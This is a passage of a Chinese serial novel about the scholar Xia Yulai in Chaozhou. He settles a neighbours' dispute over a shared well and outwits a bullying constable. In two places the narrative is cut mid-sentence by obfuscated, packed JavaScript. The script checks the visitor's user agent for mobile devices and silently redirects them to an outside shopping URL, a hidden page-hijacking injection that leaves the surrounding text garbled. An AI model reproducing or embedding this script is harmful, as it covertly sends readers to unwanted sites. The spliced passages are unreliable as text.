阿顺哥一家瞬间泪崩,跪在地上对着夏雨来磕头不止:“夏秀才!救命恩人!我们一家永世不忘!” “快起来!” 夏雨来连忙扶起他们,“这不是我的功劳,是公道的功劳。” 六、市井立规,恶绅胆寒 夏雨来拿起那张害人的高利贷字据,当着所有人的面,“嘶啦” 一声,撕得粉碎。 纸屑纷飞,像一场雪,落在青石板上。 “从今往后,我夏雨来在此立规!”夏雨来声音清亮,正气凛然,响彻整条街: “潮州城街市,可以借钱,不可吃人;可以收息,不可滚利;可以立据,不可设套;可以讨债,不可逼家破人亡! 谁再敢用假贷真坑、文字陷阱、高利贷欺压百姓,我夏雨来,第一个不答应!我就拆他的字据,破他的圈套,揭他的黑心,让他身败名裂,无处藏身!” 话音落下,全场爆发出雷鸣般的掌声与欢呼! “鬼才秀才!侠义无双!”“潮州有夏雨来,百姓得平安!”“以后再也不怕高利贷了!” 周福带着家丁,在百姓的怒骂与唾弃中,灰溜溜地逃走,连头都不敢回。 他知道,这次回去,陈老财必定暴怒。可他更知道,自己再也惹不起这个穷秀才。 七、侠名更盛,鬼才无双 晨光越升越高,驱散晨雾,照在青石板路上,暖洋洋的。 阿顺哥一家抱着孩子,哭着笑着,终于保住了茅屋,保住了家。 阿翠端着热茶走到夏雨来身边,眼睛亮晶晶的,满眼都是崇拜:“你真是个疯子,也是个神人。一张嘴,一支笔,一个字,就破了陈老财最阴毒的高利贷陷阱。” 夏雨来接过茶,笑道:“不是我神,是黑心人的局,最怕光明。他玩阴的,我就摆到明面上;他玩文字,我就解字;他吃人,我就救人。” 他望着眼前安稳热闹的街市,眼神清澈而坚定: “阿翠娘子,你看。恶霸敢横行,我拆他势;奸商敢短秤,我破他局;无赖敢赖账,我断他脸;劣绅敢放高利贷,我撕他据。 我不要功名,不要利禄,只要这潮州城的市井里,百姓不被欺负,小家不散,人心不寒,就够了。” 风一吹,青布长衫轻扬。穷秀才的身影,在晨光里,挺拔如竹。 百姓围上来,对着夏雨来拱手作揖,齐声称赞:“鬼才秀才,侠义无双!”“假贷真坑难不住,一字破局救万家!” 夏雨来笑着拱手,语气诙谐:“诸位过奖。小生只是一个爱管闲事、爱解字、爱打抱不平的穷秀才。以后,谁家再遇高利贷、假字据、文字陷阱,尽管找我夏雨来!专治各种吸血坑人,为民出头,绝不退缩!” 话音落下,整条街市欢声雷动。 自此,夏雨来 “一字破高利贷” 的故事,传遍潮州城。陈老财听说后,气得摔碎一屋瓷器,却再也不敢轻易在街市放高利贷。 恶绅胆寒,百姓心安。 而夏雨来的传奇,仍在继续。 8. 水井之争 一、晨市方宁,井畔起烽烟 暮春时节的潮州城,一连几日晴好,东门街市的人气比檐下挂着的腊肉还要足。 天刚蒙蒙亮,阿翠的茶摊就冒起了热气,铜壶咕嘟咕嘟吐着白雾,茶香混着油条、炸粿、豆腐花的香气,在风里飘出半条街。挑夫、菜农、小贩、妇人,你来我往,吆喝声、还价声、说笑声响成一片,正是最鲜活的市井气象。 夏雨来依旧是那身洗得发白的青布长衫,背着旧书箱,慢悠悠从巷口踱出来。连日来他斗恶奴、拆鬼秤、破高利贷、断鸡鸭官司,如今走在街上,百姓见了他,无不拱手让路、点头问好,一口一个 “夏秀才”,眼神里全是敬重、亲近、信赖。 “夏雨来,这边!刚沏好的热茶,暖胃解乏!” 阿翠远远瞧见他,扬声招呼,手里已经稳稳端上一碗热茶。 夏雨来脚步轻快地走过去,拱手作揖,语气诙谐顺口:“阿翠娘子,你这茶摊如今可是潮州城第一‘公道茶摊’,恶霸绕道,奸商缩头,高利贷不敢上门,小生不来沾沾正气,都说不过去。” “少贫嘴。” 阿翠把茶碗递到他手里,眼尾带着笑意,“你这几日为街坊出头,分文不取,连口正经饭都不肯多吃,再这么下去,我都要替你愁生计。” 夏雨来接过热茶,指尖一暖,仰头喝下小半盏,茶水清润回甘,浑身筋骨都松快了。他轻叹一声,语气坦荡:“娘子有所不知,市井公道,最忌一个‘利’字。我管闲事、断是非、惩恶人,一不收银,二不收礼,三不欠人情,说话才硬气,断事才公正。一旦沾了好处,公道就变了味,成了买卖,那我和那些欺压百姓的劣绅、恶奴、奸商,又有什么两样?” 这番话说得透亮,阿翠听得连连点头,心里对这个穷秀才的敬佩又多了几分。 两人正说笑间,街市后巷的方向,突然传来一阵刺耳的争吵声,不是恶霸横行,不是奸商耍赖,而是街坊邻里撕破脸的对骂,夹杂着推搡、跺脚、摔东西的脆响,一听就是积怨已久、彻底爆发。 夏雨来眉头微微一挑。 刚把高利贷压下去,刚把恶奴治服,后院里的邻里纷争又冒头了。 他心里暗叹:市井日子,真是一波未平,一波又起。 可叹归叹,他脚步却很诚实,慢悠悠朝着后巷挪去。 周围几个百姓也听见动静,脸色都变了。“坏了,是老张家和老李家!又为那口古井吵起来了!”“这两家,为了一口井,吵了大半个月,亲戚劝、街坊劝,谁劝都没用,再闹下去,非得打起来、闹到官府不可!”“那口井是老井,祖辈传下来的,两家用了几十年,以前好好的,不知道怎么就闹成这样了!” 夏雨来一听 “古井”“争抢”“几十年共用”,眼睛立刻亮了。 这种案子,最合他胃口。不霸、不抢、不坑、不骗,纯靠情理、人心、规矩断是非,最能显他 “鬼才秀才” 的本事。 他心里立刻盘算起路子来:邻里争井,最忌讳 “各说各理”“越劝越火”。硬劝不行,硬压更不行。必须先稳情绪,再找根源,最后用一个谁都无法反驳、看得见、摸得着的法子,一招定归属,一碗水端平。 想罢,他把茶碗递给阿翠:“娘子稍等,小生去去就回。处理完这桩井畔官司,再来喝你的茶。” “你又要去管闲事?” 阿翠担忧道,“这两家比鸡鸭官司还难缠,都是老街坊,撕破脸就不好了!” “难缠才有意思。” 夏雨来狡黠一笑,眼神亮闪闪的,“邻里要和,井水要清。小生这趟去,不是劝架,是断井。” 他说罢,背着书箱,慢悠悠晃进后巷。 二、两户对骂,古井成仇 后巷不宽,两边都是青砖灰瓦的老民居,墙根种着葱蒜,屋檐下挂着玉米、干辣椒,地上摆着旧竹椅、破竹筐,一派典型的市井小院景象。 巷子正中央,一口老古井静静卧着。 井台是青石板铺就,被岁月磨得光滑温润,井口围着一圈老木栏,井水清澈见底,清凉甘甜,是这一片街坊最依赖的饮用水源。 可此刻,井边却闹得鸡飞狗跳。 人群围了里三层外三层,男女老少都有,个个一脸为难,想劝又不敢开口。 场子正中间,两个中年汉子,面对面叉腰站着,脸涨得通红,唾沫星子横飞,吵得面红耳赤,脖子上青筋暴起。 左边这位,是张老根。身材微胖,嗓门极大,一手叉腰,一手指着对方鼻子,气势汹汹:“李老憨!你给我说清楚!这口井在我院墙边上,祖辈就是我张家先开的井,当然归我家!你凭什么天天来打水?凭什么占我家便宜?” 右边这位,是李老憨。个子稍瘦,性格耿直,眼睛通红,像是憋了很久的气,一听这话立刻炸了,反手指回去:“张老根!你少血口喷人!这井是祖辈合开的,两家共用几十年,我家打水天经地义!你现在突然说井是你家的,安的什么心?” “我家院墙挨着井,井就是我家的!”“我家门前通着井台,井就有我一份!” 两人你一言我一语,越吵越凶,句句戳心,句句带气,把往日里的鸡毛蒜皮全都翻了出来。 “你上次借我家扁担不还!”“你上次踩坏我家菜苗不道歉!”“你背后说我闲话!”“你逢人就讲我坏话!” 一桩桩、一件件,本是邻里小过节,此刻全都因为 “水井之争” 炸了锅。 围观百姓一个个听得头大。 有人劝:“两位老哥,别吵了,都是街坊,低头不见抬头见……”“就是啊,一口井,轮流用,各让一步,海阔天空!” 可谁劝都没用。 张老根立刻哭天抢地:“不是让不让的事!是骨气!这井是我家的,他天天来用,我心里憋屈!” 李老憨也抹着眼泪:“我家就靠这口井喝水、洗衣、浇菜,不让我用,我一家人怎么活?” 这话一出,众人都沉默了。 市井百姓,最苦的就是这点小生计。一口井,看着不起眼,却是一家人的活命水、日用泉。断了井,就断了日常。 所以谁都不肯让步。一口咬定:井是自己的。 张老根:“井是我张家的!你再敢来打水,我就把井填了!”李老憨:“你敢填井,我就跟你拼命!大不了一起去官府!” 两人说着,就要拉扯着往府衙走。 这一去,本来一桩邻里小事,就会变成公堂官司。到时候,又是花钱、又是受气、又是丢人,两家彻底结仇,子孙后代都要记恨。 围观百姓都急得不行,却谁也拦不住。 就在这千钧一发之际 —— 一个清亮、诙谐、慢悠悠的声音,从人群外轻飘飘传进来: “哎呀呀 —— 为了一口老井,两位老哥要闹到公堂上去,值当吗?井还没争明白,先把自己气出病,再把两家仇结死,这不是便宜了看热闹的外人吗?” 声音不大,却像一盆凉水,瞬间浇在两团火上。 所有人同时转头。 只见人群外,青布长衫的书生负手而立,眉眼弯弯,嘴角噙笑,一双眼睛亮得像看透了一切。 正是夏雨来。 他没挤、没冲、没喊,就那么安安静静站着,偏偏一开口,就压住了全场的火气。 张老根和李老憨同时愣住,吵架声戛然而止。 张老根上下打量夏雨来,见是个穷秀才,眉头一皱:“你是谁家的书生?我们邻里吵架,关你什么事?” 李老憨也抹了抹汗,警惕道:“你别是偏袒谁,过来劝偏架的!” 夏雨来闻言,非但不恼,反倒笑了,往前慢悠悠走了两步,站在两人中间,既不靠左,也不靠右,正好站在正中间,离井也是不远不近。 这一个站位,瞬间就让围观百姓点头。—— 这秀才,一看就是要 “一碗水端平”。 夏雨来先对着张老根一拱手,语气恭敬又诙谐:“这位老哥,小生夏雨来,一介穷秀才,昨日刚破高利贷骗局。路见不平要管,邻里纠纷要断,不是偏袒谁,是怕你们把小事闹大,伤了和气,苦了自家。” 又转向李老憨,同样一拱手,分寸丝毫不差:“这位老哥,你们争的是井,气的是心,疼的是家。可一闹到公堂,丢的就是脸面、银子、和气。小生不才,愿意免费为你们断这桩水井官司,保证不偏不倚、公平公正,谁也不亏,谁也不委屈,你们看如何?” 一番话,不火不躁、不偏不袒,先点破利害,再给出出路,还给足了两人台阶。 张老根和李老憨对视一眼,都愣住了。 他们吵了大半个月,从没听过这么讲道理、又这么中听的话。 围观百姓立刻跟着起哄:“两位老哥,就让夏秀才断一断!他昨天断高利贷都公道!”“是啊!夏秀才最公正!肯定能给你们一个说法!” 人多嘴齐,气势一顺,两人的火气顿时消了大半。 张老根犹豫片刻,哼了一声:“好!我就信你这秀才一次!你要是断得不公,我连你一起说!” 李老憨也点头:“我也信!你要是能把井断明白,我给你作揖!” “好!” 夏雨来一拍手,笑得狡黠,“既然两位信得过小生,那这官司,咱们现在就断!不过 —— 断案之前,小生要先问你们三句话,你们必须说实话,一句都不许瞒。只要说实话,这案子,立刻水落石出!” 三、三问定根,不露锋芒 夏雨来神色一正,瞬间从 “诙谐秀才” 变成 “断案先生”。可他语气依旧轻松,不吓人、不逼人,一句句问得清清楚楚。 他先看向张老根,语气平稳:“张老哥,你先说实话 —— 这口井,是你父辈亲手挖的,还是祖辈合开的?平日里,除了你们两家,还有没有别的街坊来打水?” 张老根一愣,没想到他不问 “谁先占”,先问这些陈年旧事,只好老实回答:“井是…… 祖辈一起开的,好几十年了。以前整条巷都来打水,后来各家打了小井,就剩我们两家共用。” 夏雨来点点头,没评价,没表态,脸上毫无表情,让人看不出他在想什么。 紧接着,他转向李老憨,问的话一模一样:“李老哥,你也说实话 —— 这井台、井栏、井口石板,是哪一家修的?平日里,谁清理井底淤泥,谁修理井栏?” 李老憨也老实回答:“井台是两家一起修的,井栏坏了也是一起凑钱修。清理淤泥,轮流来,一家一年,从不落空。” 夏雨来依旧点点头,不褒不贬,不动声色。 围观百姓都好奇极了。“秀才问这些干什么?”“这能断出井是谁的?” 夏雨来不理会议论,抛出第三问,声音微微提高,带着一丝不容置疑的力量: “好!最后一句,你们两个都听好 ——你们两家,离开这口井,能不能过日子?” 这话一问,全场瞬间安静。 张老根和李老憨同时一怔,仔细回想,然后一起摇头。 张老根:“没…… 没有这口井,我家洗衣、浇菜、喝水都不方便,要去半条街外挑水。”李老憨:“我也一样!我家离别的井远,全靠这口井活命!” 这句话一出来,夏雨来心里咯噔一声,彻底稳了。 他脸上依旧不动声色,可心里已经把整个案子盘得明明白白: 第一,井是祖辈合开、世代共用,不是任何一家私产;第二,井台、井栏、维护,两家共同出力,谁也没少干;第三,两家谁也离不开这口井,真断了,两败俱伤,没有赢家。 这场纷争,根本不是 “井归谁”,是面子之争、一口气之争。两人都觉得 “自己吃亏、对方占便宜”,越想越气,越吵越僵。 想通这一层,夏雨来差点笑出声。这案子,根本不是 “判给谁”,是用一个法子,给双方台阶,把 “共用” 变成 “公道”。 可他不能直接说。直接说,两人不会信,还会说他偏袒、和稀泥。 必须用一个谁都无法反驳、看得见、摸得着的法子,当众断清楚。 夏雨来心里算盘一打,立刻有了主意。 他故意板起脸,对着两人,一字一句,朗声说道:“好了!三句问完,实话听够。小生现在,已经断出这桩水井官司的全部真相!” 四、一招定井,一碗水端平 这话一出,全场哗然。 “断出来了?”“真的假的?这么快?”“秀才快说!到底是谁的井!” 张老根和李老憨同时绷紧身子,眼睛瞪得溜圆,一眨不眨盯着夏雨来。 夏雨来却不慌不忙,先对着围观百姓一拱手,声音清亮,让所有人都听得清清楚楚:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446903|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “诸位街坊邻里,今日这桩水井官司,小生断案,只讲三个道理,不偏张老哥,不偏李老哥,完全一碗水端平!谁若不服,当场可以反驳!” 他顿了顿,伸出第一根手指: “第一理:根源不对。这口井是祖辈合开、世代共用,不是张家私挖,也不是李家独建。祖祖辈辈用了几十年,从来没有‘归谁’一说,谁也没资格突然说成是自家的。” 一句话,先把 “独占” 的可能,彻底堵死。 张老根和李老憨同时一怔,都愣住了。他们吵了大半个月,从来没想过 “祖辈合开” 这一层。 夏雨来伸出第二根手指: “第二理:情理不对。井台、井栏、清淤泥、修破损,两家共同出力,一家都没少干。出力一样,受益一样,凭什么井就成了某一家的?这对另一家,不公平!” 这一句,更是戳中要害。 围观百姓纷纷点头,恍然大悟。“对啊!一起修一起管,当然一起用!”“谁也没多干,谁也没少干,凭什么独占?” 张老根和李老憨脸色都变了,火气一点点消下去,取而代之的是尴尬、后悔。 夏雨来伸出第三根手指,声音放缓,语重心长,带着市井最实在的道理: “第三理:日子不对。你们两家,谁也离不开这口井。真判给某一家,另一家就没法过日子。真闹到公堂,两家花钱丢人、结下世仇,子孙后代都不安生。为了一口气,毁了两家人,值得吗?” 三句话说完,全场安静得落针可闻。 张老根和李老憨站在原地,你看看我,我看看你,脸上一阵红一阵白,刚才的凶气、怨气、怒气,全都烟消云散。 张老根先低下头,声音小了很多:“秀才…… 你说的是真的?这井…… 真是两家共有的?” 李老憨也挠挠头,不好意思道:“那…… 那我们这大半个月,不是白吵了?还差点闹到公堂……” “吵没白吵,闹没白闹。” 夏雨来语气一转,又恢复诙谐,“至少你们现在知道了 ——井是共用,人是街坊,和气比什么都强。” 他说着,走到古井正中间,一手轻轻搭在井栏上,朗声宣布: “小生今日,正式断这口古井:井不归张,井不归李,祖辈合开,两家共用,轮流管井,按次打水,世代相守,永不相争!” 四句断语,朗朗上口,通俗易懂,公平到极致。 围观百姓瞬间爆发出雷鸣般的掌声和欢呼! “好!断得好!”“夏秀才太公正了!一碗水端平!”“以后街坊争井,就找夏雨来!” 掌声雷动,整条后巷都热闹起来。 夏雨来看着两人和好,心里松了口气,脸上露出狡黠又欣慰的笑。 他断案,从来不是为了显本事。是为了市井安稳,邻里和睦。 恶霸要治,是除暴;邻里要和,是安良。一暴一安,才是市井真正的日子。 五、井畔立规,市井传名 张老根和李老憨彻底和好,心里又感激又不好意思,都拉着夏雨来,要报答他。 张老根:“秀才,我家刚打的井水,甜得很,我给你挑一担!”李老憨:“我家有新蒸的糕,我给你拿一筐!” 夏雨来连忙摆手,笑得诙谐:“两位老哥,使不得使不得!小生断案,只为街坊安稳,不为井水糕点。你们只要以后和和气气,轮流管井、好好共用,比给我什么都强!” 他越是推辞,两人越是过意不去。 最后还是阿翠从街口跑过来,笑着解围:“你们就别为难他了!夏雨来秀才,就是这个脾气,帮人出头,分文不取,只求公道!” 众人一听,更加敬佩。 一个穷秀才,不贪钱、不贪利、不贪名,就凭一肚子智慧、一张利嘴,为百姓出头、为邻里断案,这样的人,在市井里太少见了。 不知谁先喊了一句:“以后咱们潮州城,就认夏秀才断公道!”“对!鬼才夏雨来,公正不偏袒!” “鬼才秀才” 四个字,一喊出来,立刻传遍整条巷。 夏雨来听了,反倒摸了摸鼻子,故作委屈:“哎哎哎,‘鬼才’归‘鬼才’,可别把小生说成鬼啊!小生是正经秀才!” 一句话,把所有人都逗得哈哈大笑。 刚才紧张压抑的气氛,彻底变成一片欢喜。 夏雨来看着和睦的街坊,听着热闹的笑声,闻着巷子里的井水清香、饭菜香、茶香,心里忽然踏实下来。 他在外应试多年,追求功名,却处处碰壁,受尽冷眼。可回到这市井小巷,只凭 “公道” 二字,就赢得了百姓的信任、尊重、爱戴。 功名富贵,未必比得上这一口人间烟火。 他心里暗暗打定主意:从今往后,不考功名不做官,只做这潮州城的市井公道人。恶霸来了,他治;邻里纠纷,他断;百姓有难,他帮。 用他的鬼才、智慧、诙谐、侠义,守住这一方市井的安稳与烟火。 想罢,夏雨来对着众人一拱手,朗声笑道:“诸位街坊,今日这水井官司,小生算是断完了!以后不管是恶霸欺市,还是邻里纠纷,只要你们开口,小生夏雨来,随叫随到!专治各种不平,专断各种是非!” 一番话说得豪气干云,又诙谐风趣,瞬间赢得所有人的心。 百姓们纷纷点头,一个个把 “夏雨来” 三个字,牢牢刻在心里。 晨光越升越高,照在后巷的青石板上,暖洋洋的。水井之争彻底了结,两家和好如初,围观百姓散去,街市恢复平静。 阿翠走到夏雨来身边,递上一碗重新斟好的热茶,眼睛亮晶晶的:“夏雨来,你真了不起。三言两语,就把一桩要闹到公堂的官司,断得服服帖帖。” 夏雨来接过茶碗,仰头喝尽,笑道:“不是我了不起,是道理最了不起。市井百姓,要的不是强权,不是偏袒,是一碗水端平。” 他顿了顿,望着热闹起来的街巷,眼神清澈而坚定: “阿翠娘子,你看着吧。以后这潮州城,恶霸不敢横行,邻里不敢相欺,百姓安稳过日子,这,才是我夏雨来,真正想断出来的世道。” 风一吹,他的青布长衫轻轻摆动。穷秀才的身影,在市井晨光里,显得格外挺拔。 而他的传奇,才刚刚开始。 9. 戏耍捕快 一、晨光正好,公差扰民 天刚透亮,潮州城东城门的石板路上还浮着一层薄薄的晨雾,凉丝丝的风一吹,把阿翠茶摊飘出来的茶香送得整条街都闻得到。 夏雨来照旧穿着那件洗得发白的青布长衫,背着旧书箱,慢悠悠从巷口踱出来。这阵子他断鸡鸭、拆鬼秤、破高利贷、平息水井之争,名气早就在街坊四邻心里扎了根。一路上,卖菜的王伯、炸油条的刘叔、缝扣子的阿婆,谁见了都要笑着喊一声:“夏秀才,早!” 夏雨来一路拱手回礼,语气诙谐:“诸位早,诸位发财 —— 小生这是沾了市井的福气,人还没到,喜气先撞上脸了。” 众人被他逗得哈哈大笑。 刚走到阿翠茶摊跟前,老板娘就扬声喊他:“夏雨来,今日新煮的菊花茶,清热解气,快喝一碗!” “阿翠娘子最懂小生的心。” 夏雨来笑着走近,接过茶碗,指尖一暖,“近日纷争多,火气重,正好用你这碗茶压压惊。” “你呀,天天管闲事,火气能不重吗?” 阿翠白他一眼,却又忍不住叮嘱,“听说最近府衙新换了一批捕快,风气不如从前,你说话办事多留心,别被他们盯上。” 夏雨来捧着茶碗,慢悠悠喝了一口,眼底闪过一丝玩味:“哦?捕快也分好坏,好的护一方平安,坏的扰民滋事。若是前者,小生敬他三分;若是后者,小生逗他三分,也无妨。” “你可别嘴硬。” 阿翠压低声音,“尤其是那个王捕头,手下有个叫赵四的年轻捕快,仗着自己会点拳脚,又在衙门当差,最近总在街市上乱抓人、乱盘问,小贩们见了他都躲。” 夏雨来眉梢一挑。 恶霸他斗过,奸商他拆过,赖账他治过,恶奴他戏过,如今连公差都敢在街市上耀武扬威? 他心里暗忖:市井安稳,最怕两种人:一种是明着欺负人的恶霸,一种是借着身份压人的公差。恶霸好治,恶差难斗 ——他们穿的是官衣,拿的是官饷,动的是官威。硬顶,是抗官;硬闹,是犯法;硬忍,百姓受气。 夏雨来嘴角勾起一抹狡黠的笑。 对付这种人,不能打,不能骂,不能告,最好的法子就是 ——顺着他的官威,给他设个小圈套,让他自己出丑、自己认错、自己下台。 正想着,街市东头果然传来一阵喧哗。不是吵架,不是哭闹,是百姓压抑的慌乱和避让,伴随着 “闪开闪开”“例行盘问” 的呵斥声。 夏雨来放下茶碗,眼神一淡:“来了。” 二、恶差乱抓,市井不安 人群很快乱了。 只见三个身穿公差服、腰佩腰刀的捕快,横冲直撞从街市那头走过来。为首的那个二十出头,脸膛黝黑,眼神傲气,走路大摇大摆,正是阿翠说的那个赵四。 他身后两个跟班也是一脸狐假虎威的模样,手里拿着铁链,见人就瞪,见摊就查,弄得整条街鸡飞狗跳。 “你,站住!”“怀里藏什么呢?拿出来!”“最近城里丢了东西,凡是形迹可疑的,都要带回衙门问话!” 小贩们吓得赶紧收摊,妇人赶紧拉着孩子躲开,连挑夫都绕道走。 刚才还热热闹闹的街市,瞬间冷清了一半。 赵四一路走,一路耀武扬威,眼睛四处乱瞟,专挑那些看起来老实、好欺负、没背景的百姓盘问。 走到一个卖针线的小摊前,他伸手一拦:“喂,你,最近有没有见过陌生外人?有没有偷拿别人东西?” 摊主是个年近六十的老婆婆,吓得手都抖了:“官爷…… 我、我就是做点小生意,本本分分,没偷没抢……” “没偷没抢?” 赵四冷笑一声,伸手就翻老婆婆的针线筐,“谁知道你是不是藏得好?我怀疑你跟近日失窃案有关,跟我回衙门走一趟!” 老婆婆 “扑通” 一声就跪下了,眼泪直流:“官爷,冤枉啊!我一把年纪,怎么会做那种事!我孙子还在家等着我回去呢!” “冤枉不冤枉,回衙门说!” 赵四伸手就要拉人。 周围百姓敢怒不敢言。 有人低声叹:“太过分了,这不是乱抓人吗?”“老婆婆都这么大年纪了,他也下得去手!”“可他是公差,我们能有什么办法……” 阿翠气得脸色发白:“太不像话了!这哪里是捕快,分明是土匪!” 夏雨来站在人群外围,从头看到尾,脸色平静,眼底却冷了几分。 他心里看得明白:这赵四根本不是查案,就是借公务之名,行欺压之实,专挑老实百姓欺负,刷自己的官威。 硬拦不行 —— 他拦就是阻挠公务;硬骂不行 —— 他骂就是辱骂公差;硬碰不行 —— 吃亏的一定是百姓。 夏雨来眼底精光一闪。 有了。今日,他就用一场 **“顺水推舟、以理制威”** 的好戏,好好戏耍戏耍这位 “官威十足” 的赵捕快,让他知道:公差是护民的,不是欺民的;衙门是讲理的,不是耍横的。 三、秀才登场,顺威入局 就在赵四强行要拉走老婆婆的一刻 —— 一个清亮、温和、丝毫不带火气,却格外入耳的声音,从人群外慢悠悠传了进来: “哎呀,这位官爷辛苦了!一大早就出来巡查街市、维护治安,真是百姓的父母官,潮州的好公差!在下实在佩服!” 声音不高不低,刚好让所有人听见。语气恭敬、客气、满口夸赞,半点火气都没有。 全场一愣。 赵四正嚣张得意,突然被人一顿猛夸,顿时浑身舒坦,气焰更盛了。他松开老婆婆,得意洋洋转头看去:“谁在说话?” 只见人群分开,青布长衫、背着旧书箱的夏雨来,缓步走了出来。他脸上堆满笑容,态度恭敬得不得了,一路拱手,一路称赞,走到赵四面前,深深一揖: “在下夏雨来,一介书生。见官爷如此尽职尽责、不辞辛劳,为民巡查、除盗安良,心中实在敬佩,忍不住上前,给官爷道一声辛苦!” 这一顶顶高帽戴上去,赵四骨头都轻了。 他原本以为是来捣乱的,没想到是个拍马屁的穷秀才,顿时更加傲气:“哼,算你识相!本官日夜操劳,就是为了你们这些百姓平安!” “是是是!” 夏雨来连连点头,一脸崇拜,“官爷一身正气,两袖威风,一看就是断案如神、明辨是非的好公差!不像有些混混,只会欺负老人、刁难小贩,那给官府丢脸的事,官爷肯定做不出来!” 他一边夸,一边不动声色把 “欺负老人、刁难小贩、给官府丢脸” 这几句话,轻轻放在前面。 赵四听得舒服,压根没听出弦外之音,大手一挥:“那是自然!本官办案,一向公正严明!” “那是那是!” 夏雨来立刻顺着说,“所以在下斗胆想问一句 —— 官爷抓这位老婆婆,是有人证、物证、还是官府明文牌票?若是三者皆有,那是秉公办案,百姓无不佩服;若是没有,那…… 怕是会被人误会,是乱抓无辜、扰民滋事啊。” 话说得客气、恭敬、句句为他 “名声” 着想。 赵四脸色微微一僵。 他哪有什么人证物证牌票?就是随便找个软柿子捏。 可被夏雨来当众这么一问,又当着这么多百姓的面,他骑虎难下。 吹出去的牛皮,收不回来了。 赵四硬着头皮,冷哼一声:“本官怀疑她形迹可疑,例行盘问,不行吗?” “行!当然行!” 夏雨来立刻点头,一脸赞同,“例行盘问,是官爷的职责。可官爷,例行盘问,是‘问’,不是‘抓’,更不是当众翻筐、恐吓老人。若是不问青红皂白,见人就抓,那百姓以后还怎么过日子?街市还怎么安稳?官爷名声,也不好听啊。” 他每一句都站在 “为赵四好、为官府好” 的立场,听得百姓心里暗暗叫绝。 —— 这秀才,太高明了!顺着你的威风,捧你的脸面,再一刀一刀,把你的理亏,全剖出来! 四、巧设圈套,以理制威 夏雨来见赵四脸色开始发沉,知道火候差不多了。 他依旧一脸恭敬,向前半步,压低声音,故作 “贴心提醒”: “官爷,在下多一句嘴。近日府衙大人三令五申,要安抚市井、体恤小贩、不得无故扰民、不得乱抓无辜。官爷今日若是抓了这位没罪的老婆婆,百姓嘴上不敢说,心里会骂;心里骂了,就会传;传到府衙大人耳朵里,大人只会觉得 ——这位赵捕快,不会办事,只会惹祸。到时候,官爷辛苦挣来的脸面,可就……” 他话说一半,留一半,眼神里满是 “我为你担心”。 赵四心里咯噔一下。 他最怕的,就是被上头说他 “不会办事、惹是生非”。 他脸色一阵青一阵白,气焰顿时消了大半,抓人的手也慢慢收了回来。 夏雨来一看,立刻给台阶: “官爷英明,一看就是深明大义。我看老婆婆也是本分人,不如官爷就例行盘问几句,让她保证安分守己,既尽了公差职责,又体恤百姓,传出去,人人都夸官爷公正仁慈,岂不两全其美?” 台阶递到脚边。 赵四哪里不下? 他立刻顺着台阶下,对着老婆婆板起脸,装模作样呵斥:“既然如此,今日就放过你!以后安分守己,少出门晃悠,免得惹嫌疑!” “谢谢官爷!谢谢官爷!” 老婆婆连忙磕头,赶紧收拾摊子,躲到一边。 围观百姓心里松了一大口气,却没人敢出声。 夏雨来却知道,这还不够。 赵四这种人,这次服软,下次还会再来。必须当众让他认一条规矩,让他以后不敢再来乱抓人。 夏雨来再次拱手,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他脸色一阵红一阵白,最后狠狠一咬牙:“好!本官应下!只要百姓安分,本官绝不无故刁难!” 夏雨来立刻拍手称赞:“好!官爷一言九鼎!百姓记下了!以后官爷再来巡查,百姓一定夹道相迎!” 百姓们立刻跟着鼓掌:“好!官爷英明!” 掌声雷动,场面热闹。 赵四站在掌声里,明明赢了脸面,却总觉得哪里不对劲。他好像…… 被这穷秀才,从头到尾摆了一道。 可他又说不出来哪里不对。 只能哼了一声,带着两个跟班,在一片 “恭送官爷” 的声音里,灰溜溜地走了。 那背影,哪里还有半分刚才的嚣张?活像一只被拔了毛的公鸡。 六、市井安稳,秀才留威 直到赵四的身影彻底消失在街口,整条街市才爆发出真正的、毫无顾忌的欢呼! “太好了!夏秀才太厉害了!”“几句话就把恶差说得服服帖帖!”“以后我们终于不用怕被乱抓了!” 老婆婆拉着夏雨来的手,老泪纵横:“秀才老爷,谢谢你!你真是救了我一命!” “老婆婆快别这么说。” 夏雨来连忙扶起她,语气温和诙谐,“小生只是跟官爷讲了讲道理,官爷深明大义,不是小生的功劳。” 阿翠走过来,眼睛亮晶晶的,又气又笑:“你啊你,真是个鬼才!捧着他、顺着他、哄着他,最后把他哄得自己立规矩,你这哪里是劝架,你这是驯差!” 夏雨来哈哈大笑,负手而立,望着恢复热闹的街市,语气坦荡: “小生不是驯差,是讲理。公差的威风,是用来护民的,不是用来欺民的;衙门的规矩,是用来安百姓的,不是用来吓百姓的。我只是把这个理,说给他听,说给大家听。” 他顿了顿,声音清亮,对所有人朗声道: “诸位街坊记住:我们不惹事,但也不怕事;我们敬公差,但不欺软怕硬;我们守本分,但也守公道。只要道理在我们这边,天塌不下来,官也不能乱抓人。” 一番话说得坦荡、正气、诙谐有力,瞬间稳住了所有人的心。 百姓们齐声应道:“记住了!我们听夏秀才的!” 晨光越升越高,照在青石板路上,暖洋洋的。恶差已走,街市恢复热闹,小贩重新摆摊,妇人孩子重新上街,一片安稳平和。 夏雨来重新拿起阿翠递来的菊花茶,慢悠悠喝了一口,笑道: “你看,不用打,不用骂,不用告,只要道理站在我们这边,市井自然安稳。” 阿翠望着他,满眼佩服:“你这张嘴,真是能安一城百姓。” 夏雨来笑而不语,望向远方。 恶霸可治,奸商可拆,恶差可驯,邻里可和。这潮州城的市井烟火,他守定了。 10. 秀才立威 一、市井传名,人心所向 晨光铺满潮州城东门街市时,整条街已经活泛得像一锅刚烧开的热水。 